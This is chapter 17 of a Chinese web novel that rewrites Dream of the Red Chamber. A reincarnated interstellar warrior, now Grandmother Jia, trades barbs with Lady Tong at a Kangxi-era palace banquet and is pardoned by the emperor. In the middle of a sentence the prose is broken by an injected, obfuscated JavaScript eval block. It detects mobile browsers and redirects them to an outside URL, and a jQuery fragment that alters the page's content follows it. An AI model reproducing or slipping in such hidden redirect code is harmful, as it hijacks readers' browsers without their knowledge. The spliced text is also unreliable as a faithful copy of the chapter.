17.第十七章

作品:《[红楼]贾母她武力值爆表

    冬日的紫禁城,比往日里添了几分冰冷。


    也不知是不是安宁的错觉,她只觉得寒雾如铁,裹着紫禁城的朱红宫墙与鎏金瓦当,透着一股压得人喘不过气的森严。


    安宁被宫女搀扶着,一步一步踏在冰冷的汉白玉石阶上,脚下的花盆底鞋硌得她脚心生疼,头上十几斤重的点翠凤冠压得脖颈发酸,每抬一次头都像是在跟千斤重物较劲。她活了这么长时间,从星际边陲的小兵杀到联邦第一战神,身披战甲驰骋星河,枪林弹雨里都没皱过一下眉,如今却被这一身沉重的诰命服饰捆得动弹不得,心里的火气几乎要冲破天灵盖。


    “老太君,慢些,前面就是举行宫宴的地方,等会儿入席要先给圣人、太后行三跪九叩之礼,您可千万别迈错脚……”


    跟在安宁身侧的女官是个娃娃脸,她低眉顺目地搀扶着安宁,确认没人注意到这边,这才轻声道。


    不过她声音压得极低,若不是安宁耳力好,恐怕就要错过这句话了。


    安宁正随大流满身火气地往前走,冷不防听到这句话,还颇有些惊奇。


    虽然她这是老太太上阵头一回,可不管是原身的记忆,还是系统的资料库中的资料,都表明这宫中是个吃人的地方。在这里,所有人都会谨言慎行,像这么好心提示人的女官,还挺少见的。


    安宁心内感激、却面无表情地“嗯”了一声,她对这古代的礼节到底是不太了解,所以也没太敢动。


    不过安宁却把这份好意记在了心里,琢磨着日后有机会一定要回馈人家。


    有恩必报有仇必报,是她一向的行为准则。


    紫禁城的路很长。


    七拐八拐的,若是没人带着,肯定会有人走错路。


    不过宫里的规矩是真的不错。


    安宁眼神轻轻扫过两旁垂首肃立的宫女太监,又看了看前面一众低眉顺眼、连大气都不敢喘的诰命夫人们,只觉得这群人活得实在憋屈。


    这就是古代吗?


    这古代的繁文缛节,果然是最烦人了!


    她深吸一口气,强行压下骨子里的桀骜,心里默默背着星际基础武力心法,脚下的力气却是重了几分。


    好不容易安生走到了入席的位置,安宁觉得自己刚坐下没多会儿,便又听见了静鞭声。


    “皇上驾到,太后娘娘驾到……”


    随着太监们的一声声高喊,这帮刚坐下来的大臣诰命们又齐齐跪了下来。


    “吾皇万岁万岁万万岁,太后娘娘千岁千岁千千岁……”


    安宁随大流跪下又站起,表情麻木。可能是因为她站的比较靠前,也可能是因为脸上敷衍的表情太明显,又可能是因为这次被叫到宫中,某些人就存了找茬的心……


    所以安宁刚坐下动筷没多久,便听见旁边传来一个讨厌的声音。


    “我道这谁呢?原来是好久不见的贾太君。老太君奉旨在家荣养多年,这会儿好不容易进了宫,是不是都忘了宫中的样子了?”


    苍老又幸灾乐祸的声音从耳边响起,安宁一抬头,眯眼看了半天才想起来,这不是原身记忆中那个讨厌的死对头——赫舍里氏嘛!


    赫舍里氏.超盈,佟国维的夫人,皇上承认的舅家的当家主母。


    荣国公武将出身,佟国维虽然是文臣重臣,但同样也当武将。按理说同为武将,又都跟着皇上打过噶尔丹,二人的关系就算是不算太好,也不能太差。


    可偏偏这二人之间就是不太对付。


    荣国公在世的时候,可是坚定不移的太子党,而寄予厚望的长子贾赦也曾做过太子伴读,也就是说,荣国府这一脉,其实就是板上钉钉的太子党。


    佟家却是不一样。


    佟国维当初对八皇子胤禩寄予厚望,虽然之后被康熙严厉斥责,但康熙毕竟念旧情,既未夺爵,也没有要了对方的命。安宁琢磨一下,其实这就是相当于皇上让他提前退休了,可到底没什么大影响。


    □□国府被康熙厌弃了却是真的。


    两府之间政见不合、行事作风不同、在皇上面前的恩宠也不同……


    两个当家的老太太,见面不对付也很正常。


    安宁捋清原身的记忆,便又低头回去继续吃了。


    她堂堂战神都下跪叩拜了,多吃点缓解一下心中的郁气不很正常吗?再说了,来皇宫吃席,不多吃点,又怎么对得起自己?


    “你……!”


    赫舍里氏眼中怒气一闪而逝,她见安宁没接招,便又继续道,“不愧是贾太君!这等涵养气度可真是远超常人!即便这偌大的皇宫中只有老太君一人,老太君也稳如泰山。”


    这话里话外都在嘲讽荣国府后继无人,别人居然连个朝贺的资格都没混到,可偏偏安宁是个实诚人,空空的脑袋瓜听不懂旁人的冷嘲热讽,所以……


    “多谢夸奖。”


    安宁用帕子擦了擦嘴,略微点头回应了一下,眼睛却是死死地盯着赫舍里氏面前的……燕窝挂炉鸭子。


    以前自己怎么不知道,这鸭子还能这么好吃?回头就让家里的厨子学一学。


    赫舍里氏却是被安宁一句“多谢夸奖”噎得胸口发闷,脸上的假笑几乎挂不住。


    她活了大半辈子,在贵妇堆里磋磨人心,还从没见过这般油盐不进、软硬不吃的老东西。


    周围几位诰命早已悄悄支起了耳朵,目光在两人之间来回打转,连夹菜的动作都慢了几分。


    谁都知道,荣国府与佟家不对付,如今一个失了圣心,一个依旧是皇亲国戚,这场交锋,早被人看成了定局。


    可如今看来,事情的发展好像并不如众人想象的那般。


    只见赫舍里氏面色铁青,压下怒气压低声音,皮笑肉不笑:


    “老太君倒是心宽。只是这宫里的宴席,吃的可不是味道,是体面,是恩宠,是家族前程。有些人啊,就算坐得再靠前,也不过是强撑门面罢了。”


    这话已经说得极露骨,几乎是指着鼻子骂荣国府没实权、没恩宠、只剩空架子。旁边的女官吓得指尖都凉了,甚至差点不小心打翻桌上的汤盏。


    安宁却是连眼皮都没抬一下,她稳稳接住那盏汤,随即淡淡开口。


    “佟夫人说得有理。”


    安宁声音不高,却被周围听的一清二楚。


    赫舍里氏刚要露出得意之色,就听安宁继续道:


    “既然这么看重体面,夫人面前这盘鸭子,摆着也是浪费体面,不如让给我。”


    话音刚落,不等赫舍里氏反应,安宁抬手,直接示意身后的宫女:“端过来。”


    宫女吓得一哆嗦,不敢动。


    安宁眉梢微挑,语气平静,却自带一股久经沙场的压迫感:“听不懂?”


    那一瞬间的气场太冷太利,竟让宫女下意识地躬身上前,真就颤巍巍将那盘燕窝挂炉鸭子端到了安宁面前。


    赫舍里氏彻底僵住。


    她万万没想到,这贾老虔婆不按常理出牌,不辩解、不生气、不阴阳怪气,直接抢菜!


    “你——贾史氏!”赫舍里氏气得声音发颤,“你竟敢在宫宴之上强抢他人桌肴,眼里还有没有规矩!有没有皇上太后!”


    安宁终于抬眼。


    那双历经尸山血海的眸子淡淡一扫,没有半分老迈昏聩,反倒锐利如刀,只一眼,就让赫舍里氏莫名心头发慌。


    “规矩?”


    安宁拿起银筷,轻轻戳了一下鸭皮,酥脆声响在安静的角落里格外清晰。


    “宫宴摆菜,不就是给人吃的?佟夫人不吃,难道还不许别人吃?”


    她顿了顿,语气平淡,声音也小,却字字扎心:“再说,佟国维当年聚众保八爷,触怒圣颜,险些抄家夺爵,那时候怎么不想着规矩?”


    一句话,精准戳中赫舍里氏最痛的地方。周围的诰命夫人们脸色齐刷刷一变,连呼吸都轻了。这种宫廷忌讳的旧事,谁敢在宫里提起?


    先不说隔墙有耳,单是皇上对这事的在意程度,便叫人不敢漏出一个字。


    可如今贾太君却当众提起……


    她难道是不要命了?


    赫舍里氏气得浑身发抖,手指着安宁,半天说不出一句完整话:


    “你、你放肆——”


    “我放肆?”


    安宁夹起一块鸭肉,慢条斯理放进嘴里,眉眼微阖,像是在品尝什么人间至味。


    “我不过是吃口鸭子,佟夫人就急成这样。当年佟大人结党谋储,那才叫放肆吧?您怎么没劝劝?”


    “你——!”


    赫舍里氏眼前一黑,差点当场背过气去。她擅长的是阴柔讽刺、绵里藏针,可安宁根本不跟她玩文的,直接掀桌子、戳软肋、一刀见血。


    安宁咽下鸭肉,淡淡瞥她一眼,语气无辜又气人:“夫人要是吃不下,不妨回府歇着。在这儿气坏了身子,佟大人要是心疼,再跑去求皇上做主,那可就麻烦了。”


    安宁这话确实是在表达自己的关心,毕竟虽然贵为战神,但安宁敬老爱幼的心却是有的。但听在赫舍里氏耳里,便是对方明着虽是关心,实则是在提醒她:


    你们佟家,早就被皇上敲打过一次了,别再蹦跶。


    赫舍里氏气得脸色青白交错,胸口剧烈起伏,却半个字都怼不回去。她敢怒怼安宁,却不敢接“结党”这两个字——那是佟家一辈子的把柄。


    安宁看着她憋得难受的样子,心里毫无波澜,只是又夹了一块鸭皮。


    还是好吃。


    跟星际营养剂比起来,这简直就是饕餮盛宴了。


    安宁吃的开心,却没注意到自己这一片早就落针可闻。


    而旁边的女官更是早已吓得魂飞魄散,低着头拼命降低存在感。


    这……老太君……也太敢说了!


    这哪是诰命老夫人,这分明是敢在刀尖上跳舞的活阎王!


    而不远处的高位上,一双深邃冷锐的眼睛,也将这一幕尽收眼底。


    于是,安宁正啃的开心的时候,便听御座之上,忽然传来一道不高不低、带着几分沉冷的男声。


    “哦?”


    康熙放下手中玉盏,目光淡淡扫下来,落在安宁身上,带着帝王独有的审视与威压,“贾太君,方才你说的话,朕倒是听得分明。”


    一语落下,一片皆静。


    赫舍里氏瞬间像是抓住了救命稻草,立刻屈膝福身,眼圈一红,哽咽道:


    “皇上……老身、老身只是与贾太君闲话几句,谁知贾太君口无遮拦,竟敢在宫宴之上议论朝政、污蔑佟家……求皇上为老身做主!”


    她哭得委屈,字字都在往安宁头上扣大不敬、妄议朝政的死罪。


    随侍的宫女太监们腿一软,直接就跪了下去。


    宴会上的其他人也都坐不住了,他们也纷纷从座上站起,随即便趴伏在地。


    “万岁爷息怒……”


    百官齐声说道。


    在场的众人谁不知道当今圣上的忌讳?


    议论当朝旧事、议论佟国维当年保举之事,那是宫中最大的忌讳!这要是被定了罪,整个荣国府都得跟着完蛋!


    贾史氏真是不要命了!


    史家两位太太吓得战战兢兢,心里直接就恨上了这位出嫁的姑奶奶。史鼎两兄弟也是面色难看,心中直埋怨。


    姑奶奶今儿是怎么了?怎么这么不知轻重?


    这等旧事是能随意提起的吗?难不成这么多年,姑奶奶居然连自己家为什么得罪皇上都不知道?还是说如今重新获得参加朝贺的机会。姑奶奶她飘了?


    可不管怎么样,贾史两家是逃不掉的姻亲关系,皇上若真是怪罪下来的话,他们史家也逃不掉!


    史鼎双眼紧闭,脸色苍白。


    只觉得自家要被姑太太给拖累了!


    甚至有可能自今日起,贾史王薛四大家族,将不复存在。


    王子腾脸色也是难看得很,他双手握拳,滴滴血迹沁在地上,开出了一朵朵艳丽的梅花。


    而王夫人更是心中大恨,她甚至琢磨着,自家若是这次因安宁而惹了圣上不快,那她便干脆劝老爷舍了那个小姑子!


    所有人都吓得战战兢兢跪地请罪,可这场纷争的导火索——安宁,却只是缓缓放下银筷,抬眸望向御座。


    她没有惶恐,没有瑟缩,没有半分老迈妇人的怯懦。


    她迎着康熙那双阅尽人心


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197530|196386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的锐利眼眸,神色平静得近乎坦荡。


    实际上,安宁确实很坦荡。


    她只觉得自己说的都是实话,没有半分虚假。然而不愿动脑的战神大人却是忘记了古代与星际世界的不同,以至于忽略了说话的艺术。


    安宁虽然不明白为什么所有人都跪下了,但看到如今这般局面,到底是后知后觉的也跟着跪了下来。不过强行压抑着的怒火,也是悄然在心中升起了一丝。


    “皇上。”


    她声音不高,却字字清晰,稳得没有一丝颤音,“老身并未污蔑。”


    显然——只有记忆却从未经历过夺嫡也从未体验过康熙脾气的安宁只以为众人这般态度,是因为刚才赫舍里氏的告状。


    然而她话音刚落,满殿倒抽冷气之声微不可闻。


    赫舍里氏更是猛地抬头,不敢置信地看着她——这老虔婆是疯了不成?!


    然而,众人想象中的帝王震怒却是没有到来。


    康熙眉峰微挑,语气却沉了几分:


    “你可知,本朝女子不得当政。而你却堂而皇之在宫宴之上提及朝中大事,贾太君……你可知罪?”


    说罢,帝王威压倾泻而下,冰冷刺骨,几乎要将人压得粉身碎骨。


    安宁脊背挺直,淡淡开口,语气坦荡,毫无半分虚饰:“老身不知。老身刚才所言,只不过是臣子中的家事。而家事,又怎算得上是政事?更何况——”


    安宁顿了顿,目光平静地看向赫舍里氏,语气无波无澜,却锋利如刀:


    “佟夫人方才句句讥讽荣国府,老身不过是随口提一句事实,夫人便要置老身于死地——莫非,当年之事,是佟家的忌讳,提都提不得?而我们贾家,是那路边的蝼蚁,随便什么人都能来踩一脚?”


    一句话,把锅直接甩了回去。


    这帽子扣的也太大了!


    赫舍里氏脸色瞬间惨白,慌忙磕头:


    “皇上!老身没有!老身绝无此意!是她、是她故意曲解——”


    “够了。”


    康熙淡淡开口,打断了她的哭喊。


    帝王目光落在安宁身上,久久未动。


    他见过唯唯诺诺的臣属,见过战战兢兢的命妇,见过曲意逢迎的权贵,却从未见过一位年过半百的老太君,敢在他面前如此不卑不亢、直言不讳。


    没有求饶,没有攀扯,没有避重就轻。


    只是一句——我说的,是事实。


    这倒是有意思了!


    康熙突然就想起了桌上已经看完的荣国府的卷宗——上书贾太君前几日病重,而醒来后脾气秉性与以前大相径庭。为此,贾家人还特意找来了得道高僧来做法,直至确认人还是本尊后,才停止了折腾。


    可如今……康熙心中不免有些怀疑,那些得道高人,说的真就是对的吗?还是说……贾史氏真就是换了个人?


    康熙心中思绪万千,面上却是岿然不动。


    忽然,他轻笑一声,那笑意未达眼底,却让满殿紧绷的气氛,悄然松了几分。


    “贾太君,倒是直言。”


    安宁微微颔首,不骄不躁:


    “老身愚钝,不会拐弯抹角,只懂实话实说。”


    她抬眸,目光坦然迎上帝王视线:


    “宫宴之上,本为贺岁同乐。佟夫人句句嘲讽荣国府,老身不过是回一句事实,若这也算罪过,那老身甘愿领罚。”


    “只是——”


    她语气微顿,清清淡淡,却震得人心尖发颤:“若连实话都不能说,这紫禁城的规矩,未免也太冷了些。”


    显然,安宁此刻已经快压不住自己的脾气了。


    一个时代有一个时代的规则,而遵守规则,是活下去的必然准则。


    更别提安宁还想在这里安然养老,所以她更是只想安安静静的,不想弄出什么幺蛾子来。可偏偏古代的规矩多如牛毛,说话也都弯弯绕绕的,动不动还得下跪,没事儿帝王还得给你来个九族消消乐。


    战神大人觉得,如果自己再这么下去,恐怕要被憋炸了!而与其这么憋憋屈屈的活着,她还不如干脆就闹个天翻地覆,然后挂掉好了。


    养什么老,她不想养了!


    安宁话音落下,满殿死寂。


    赫舍里氏瘫在地上,浑身冰凉。


    疯子!贾史氏真是个疯子!


    连帝王都敢暗指规矩太冷,这贾太君,是真的不要命了!


    众人也是冷汗涔涔,恨不得离安宁十万八千里,生怕被她波及。


    可惜,帝王之心最是难测。


    任谁都没想到,本该是最生气的帝王,此刻却意外的平静。


    御座之上,康熙沉默片刻,忽然抬手,淡淡吩咐:“都起磕吧。”康熙看向安宁,“宫宴之上,口角之争,不必深究。贾太君年纪大了,心直口快,朕不怪你。”


    说罢,他目光扫过赫舍里氏,语气淡了几分:“佟夫人,也安分些。”


    一句话,轻轻揭过了这件事。


    赫舍里氏僵在原地,满心屈辱和委屈,却只能咬牙叩首:“……老身遵旨。”


    安宁却是重新坐直身子,拿起银筷,看向面前那盘燕窝挂炉鸭子,面无表情地又夹了一块。


    没事了,那就继续吃。


    反正皇上都没意见,旁人更不配管。


    不过这个皇帝也不像是原身记忆中的那般危险,被轻轻放过的安宁,只觉得康熙这人还怪好的嘞!


    嗯……康熙的儿子雍正也不错,都是个好皇帝。看来……这古代也没想象中的那么严苛。


    慢慢的,安宁心中的火气也降了下去。宫宴上的气氛,也逐渐缓和了起来。众人轻轻抹了把汗,心累的不行。他们只祈祷今儿这场宫宴还是赶紧过去吧,这么提心吊胆的,可真是太要人命了!还有那个贾太君,怎么感觉这么疯了呢?难不成是岁数太大脑子糊涂了?还是说……


    众人显然也都知道了贾家前几日的闹腾事,心中齐齐闪过了一个不可言说的想法,却转瞬又压进了心里。


    宴会上,转瞬又是一片岁月静好。


    只是这“静好”底下,藏着多少惊涛骇浪,只有在座的人自己心里清楚了。